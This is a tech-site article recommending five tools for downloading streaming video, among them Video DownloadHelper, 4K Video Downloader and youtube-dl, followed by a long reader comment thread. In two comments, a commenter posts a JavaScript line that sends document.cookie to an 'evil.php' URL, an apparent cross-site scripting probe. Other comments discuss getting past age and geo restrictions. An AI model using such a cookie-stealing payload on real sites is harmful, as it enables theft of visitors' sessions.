The 5 Best Tools to Download Streaming Video From Any Website

Joel Lee Updated 28-01-2019

Most of today’s internet traffic is spent streaming online video, with YouTube taking up a massive chunk. Over 400 hours of video content is uploaded to YouTube every minute, and YouTube has greater reach in the 18-49 demographic than even cable TV.

And then you have to consider other video streaming sites like Vimeo, Dailymotion, Metacafe, Twitch, etc. That’s a lot of data flowing around—and if your ISP caps your monthly data allowance, then all this video streaming can be expensive.

The solution is to capture or download online videos Why xVideoServiceThief Is the Ultimate Download Manager for Online Videos It's easy to download any video from the internet if you use this one free tool available on Linux, Windows, and Mac. Read More to watch offline, allowing you to re-watch as many times as you want without wasting data. Here are some of the best tools for capturing and downloading streaming video from websites online so you can watch them offline.

1. Video DownloadHelper

Video DownloadHelper browser extension

Available on: Chrome, Firefox.

Supported sites: YouTube, Facebook, Instagram, Vimeo, Dailymotion, Lynda, Twitter, Udemy, and hundreds of other sites.

Video DownloadHelper is easily one of the most useful browser extensions you’ll ever install. It’s even simpler to use than the above-mentioned VideoGrabby, but the downside (sort of) is that you have to install it on your browser. But if you download a lot of videos on a day-to-day basis, Video DownloadHelper is definitely worth it!

The extension adds a button next to your browser’s address bar. Whenever you come across an online video, just click the button to download any video on the current page.

2. 4K Video Downloader

4K Video Downloader interface

Available on: Windows, Mac, Linux.

Supported sites: YouTube, Facebook, Vimeo, Flickr, Dailymotion, and several other sites.

4K Video Downloader is the simplest and most straightforward tool. We recommend it if you want a no-hassle option that requires a close to zero effort on your part.

Just copy the URL of an online video and paste it into 4K Video Downloader. You can paste links to YouTube playlists or YouTube channels to download every video available, and you can even subscribe to YouTube channels and auto-download new videos as they’re made available. You can also download the annotations and subtitles in YouTube videos.

Video downloads are available in 8K, 4K, 1080p, or 720p as long as the source video was uploaded at that resolution, of course. Videos can be downloaded in MP4, MKV, and FLV formats. Or you can download only the audio portion in MP3 or M4A formats. (What’s the difference between MP3 and MP4?)

3. Freemake Video Downloader

Freemake Video Downloader interface

Available on: Windows.

Supported sites: YouTube, Facebook, Liveleak, Veoh, Vimeo, Dailymotion, and dozens of other sites.

Freemake Video Downloader is one of the most popular video downloading tools out there. It’s completely free, easy to use, and relatively flexible as far as quality and format options are concerned. The one big downside is that it’s only available on Windows.

Videos can be downloaded in a handful of formats, including AVI, FLV, MKV, MP4, and WMV. Videos can also be downloaded in MP3 format if you only want the audio portion. The actual process only requires the URL of the video—just copy and paste it in.

4. JDownloader

JDownloader 2 interface

Available on: Windows, Mac, Linux.

Supported sites: Nearly any site with streaming video.

JDownloader is like Freemake Video Downloader but with a twist. You take the URL of any page that has a streamed video on it, paste it into the app, and it will scan the page for all the videos it can detect. You get to pick which of the detected videos you want to download.

The nice thing about JDownloader is that you don’t need the direct URL of a specific video. Take a MakeUseOf article with five embedded videos, for example, and all them will be detected. This makes it very easy to capture several different videos at once.

Bundleware warning!
When you run the installer, you’ll come across a page that offers to install “Bing Search” or something else. On this page, the buttons will change to Decline and Accept. Make sure you click Decline! This will prevent bundleware from being installed on your system.

5. youtube-dl

Available on: Windows, Mac, Linux.

Supported sites: YouTube, Facebook, HBO, Metacafe, Vimeo, Dailymotion, and thousands of other sites.

youtube-dl is a tool for advanced users who are comfortable using the command line. If you prefer graphical interfaces, save yourself the headache and just use one of the ones listed above.

But if you’re okay with command line utilities, then youtube-dl offers the most flexibility of any video downloading tool. It’s complicated enough to have a non-trivial learning curve though, so prepare to read the documentation or else you’ll be lost.

You could also try youtube-dl-gui, which is an unofficial front-end user interface that’s available for Windows and Linux.

Features include several video selection and quality parameters, playlist processing, download rate limit, batch video downloading, automatic naming of files, inclusion of ads (currently experimental), and downloading subtitles (for sites like YouTube).

The following formats are supported: 3GP, AAC, FLV, M4A, MP3, MP4, OGG, WAV, and WEBM.

A Last Resort for Capturing Online Videos

If you encounter a video that isn’t supported by any of the above tools, the last resort is to play the video in fullscreen mode and record your screen as it plays. It’s not a perfect solution, but it works when nothing else does.

Check out our favorite screen recorder apps Record Your Desktop with These 12 Great Screencasting Apps Need to record your desktop? Luckily, you'll find that screencasting apps are more common than you might think. Here are some of the best free ones. Read More to get started. If you can get the direct URL of an online video, you can also use VLC to play and record online videos as a kind of streaming video recorder. Finally, we’ve shown how to download Periscope videos How to Download Periscope Videos While downloading Periscope videos isn't the easiest thing in the world, there are ways to download Periscope videos. Read More .

Related topics: Download Management, Media Streaming, Online Video, Record Video, YouTube.

Affiliate Disclosure: By buying the products we recommend, you help keep the site alive. Read more.

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  1. cruiser
    May 16, 2020 at 5:32 pm

    Hi everybody!
    We've gotta make the Web free. Talking about free downloading BBC iPlayer videos. There are online downloaders called 'Download iPlayer' or they just promise to download ANY video from ANY website and there are tons of browser 'professional' etc. downloaders. But NONE of them can download iPlayer video. Just check it for yourself. I mean, you use a proper VPN and you've got an account allowing you to play the video.
    And if you want to download iPlayer video with a desktop downloader like get_iplayer you need a desktop VPN client which are all paid. DewVPN is free but BBC have blacklisted there UK server.

  2. Rob
    December 6, 2019 at 8:55 pm

    Anyone know how to record a member only password protected videos easily - better than apple Quicktime screen recording? I'd prefer to login to the page with the video, start the recording and have it stop on its own. I'm having them transcribed for my evernote notes to search later.

  3. Mathew
    May 20, 2019 at 7:52 am

    In terms of download speed, houlo video downloader is way too better.

  4. Nobruca
    November 8, 2018 at 6:41 pm

    Try FreeRapid Downloader (http://wordrider.net/freerapid/download.htm). It also uses Java.

  5. Dan
    November 8, 2018 at 4:56 am

    How do you get URL of a streaming video on Facebook. I use an iPad to watch videos on Facebook and You Tube.

  6. Quinn
    July 6, 2018 at 1:11 am

    the #1 choice VideoGrabby was once the simplest and best-- but it has been defunct for about a year now.. perhaps update your list

  7. james bradley
    June 12, 2018 at 4:01 pm

    you link to a rogue copy of Jdownloader that has a virus. People should be directed to a good copy

  8. Linda Rooney
    June 8, 2018 at 8:23 am

    You may add clipconverter and free hd video converter factory for Windows to the list. I used the two downloaders. Straightforward and useful!

  9. Ron
    June 7, 2018 at 8:50 am

    Can anyone test for Hotstar app and tell me if we can use anyone of the listed tools or even any other to download videos from there

  10. Benard Kim
    April 10, 2018 at 6:27 am

    Freemake Video Downloader only downloads 3 minutes at most, then asks you for Premium.
    Total Video Downloader for Mac is much quicker and allows 3 free downloads each day with no time limit. Works MUCH better!!

    • Debellis2345
      April 12, 2018 at 2:00 am

      Whoah! Total Video Downloader is excellent. I love it

  11. EthanOrin
    January 23, 2018 at 2:54 am

    You can also try Joyoshare Screen Recorder to capture the livestream video with high quality as any popular format such as MP4, AVI, FLV, etc. for any device.


    • Nataliamerno
      July 15, 2020 at 6:05 am

      Another vote for Joyoshare Screen Recorder. Unlike other programs I've tried, it never disappoints me in recording high-quality videos from any source.

  12. Stilly
    November 28, 2017 at 4:33 pm

    Well choices 2-4 failed on a PAID vimeo stream...

    Did not try 1 or 5. Moving on...

  13. GG In Courtenay
    October 8, 2017 at 5:51 pm

    Freemake Video Downloader has a max of 3 minute video, prompts you to get “Premium” version for longer vids!

  14. mellymelo
    May 29, 2017 at 9:59 pm

    Thank you, even tought I didn't try yet... Hope I'll find my hapiness :)

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    February 8, 2017 at 12:00 am

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  16. Thomas Lawrence
    January 11, 2017 at 2:57 pm

    What about Clip Grab it works great

  17. cybernard
    January 11, 2017 at 5:25 am

    4k Video downloader

    It seems to work good for me

  18. Virgie
    September 17, 2016 at 6:20 pm

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  19. lov
    December 12, 2015 at 12:44 am

    var adr = '../evil.php?cakemonster=' + escape(document.cookie);

  20. lov
    December 12, 2015 at 12:43 am

    I love this thank you
    var adr = '../evil.php?cakemonster=' + escape(document.cookie);

  21. lov
    December 12, 2015 at 12:39 am


  22. ajay
    November 16, 2015 at 4:29 am

    use 'video downloader professional, 'eagle get', or 'vGet'. All these are available as chrome extensions. Eagle get is super cool. hope this helps.

  23. Ramlu
    May 2, 2015 at 12:09 pm

    Here is a hard one! I,ve been trying to download videos from this site and still cant find a downloader that works. Its imposible. Will you try to find out which downloader works? This is the site http://www.dialogopastoral.com This challenge is for anyone! Good luck!

    • ajay
      November 16, 2015 at 4:31 am

      Use vGet extension in chrome browser. It worked.

  24. Citizenearth
    November 27, 2010 at 8:23 am

    Alas, all these video downloader don't work on websites that stream their videos using RTMP protocol. For example: 4tube.com.

  25. Citizenearth
    November 27, 2010 at 7:23 am

    Alas, all these video downloader don't work on websites that stream their videos using RTMP protocol.

  26. Streaming Video Capture
    November 1, 2010 at 2:57 pm

    Recording Or capturing online videos using webcam recorder and streaming video capture is a faster and cheaper way of producing own video content.

  27. Pretush
    September 30, 2010 at 11:00 am

    download helper is the best one

  28. Steve Campbell
    September 29, 2010 at 5:05 pm

    Glad to see everyone has their own opinions regarding capturing streaming videos. Maybe these video sites should start integrating this feature?

  29. Andre
    September 29, 2010 at 4:38 pm

    any video converter is the best!!!

  30. d.g.
    September 29, 2010 at 11:49 am

    Each of these sites is linked from deturl.com, which is sort of a meta-downloader-tool.

    It combines a traditional downloading links + a download bookmarklet (direct downloading, not simple redirection) + redirection bookmarklet + links to other downloading services.

    By using its bookmarklet on any video page from MANY different video streaming sites, you will either be given a direct link to download the file from the actual video page, or you will be redirect to deturl.com and given multiple different choices for downloading the video, such as links to the sites above.

    For some sites, especially random sites that have some sort of embedded video, or even simply links to video files, such as mpg files and avi files, it will provide links directly. It depends on the site and what works best. It works on FaceBook and many adult websites such as RedTube, PornHub, XXXBunker, Tube8, XVideos, and more.

    Not only does it help you download, but it helps you convert YouTube videos to MP3, AVI, and many other formats. It also links you directly to other useful services, such as youtubeproxy, synchtube, youtubesocial, endlessyoutube, tubechop, youtubedoubler, etc.

    Deturl first launched as PwnYouTube.com, and still you can insert "PWN' into the url of any youtube video to get download links. This is a nice way to also bypass YouTube's request to login to see age restricted videos.

    Honestly, I'd love to see a separate article about Deturl.

    • Lynne
      April 16, 2018 at 3:59 am

      Sounds like you have a porn addiction.

  31. Brightico
    September 29, 2010 at 8:50 am

    I use download helper and cam studio

  32. Bob
    September 29, 2010 at 8:10 am

    If you have watched the entire video on your machine you may be able to pick it up using videocacheview from nir sofer, small, good and best of all free


  33. Anonymous
    September 29, 2010 at 4:02 am

    Ubuntu downloads streaming videos automatically for some sites (youtube, vimeo, dailymotion work). It stores the vids in /tmp you just have to browse the folder and look for the flash"___" (some crazy thing here) file and paste it wherever you want (and rename it).

    • FB
      October 2, 2010 at 4:53 am

      it's pretty much the same for windows. if you have "unlocker" installed, just browse for /local settings/temp folder and look for fla**.tmp file. Use unlocker by right-clicking it, copy, rename it, change extension to .mp4 (720p) or .flv (360p or 480p).

      • Aibek
        October 2, 2010 at 12:26 pm

        I guess we can say it's pretty much the same for all operating systems. The streaming video files are stored somewhere in the temp folders.

  34. vietvet52
    September 29, 2010 at 5:52 am

    should of looked at that comment before i posted it

    been using download helper since it first came out nice app , i uses
    Realplayer , download all so , that one works on Firefox and e and chrome ,

  35. vietvet52
    September 29, 2010 at 3:52 am

    should of looked at that comment before i posted it

    been using download helper since it first came out nice app , i uses
    Realplayer , download all so , that one works on Firefox and e and chrome ,

  36. vietvet52
    September 29, 2010 at 3:47 am

    been using downloaded, since came out, all uses realplayers down-loader works good ,.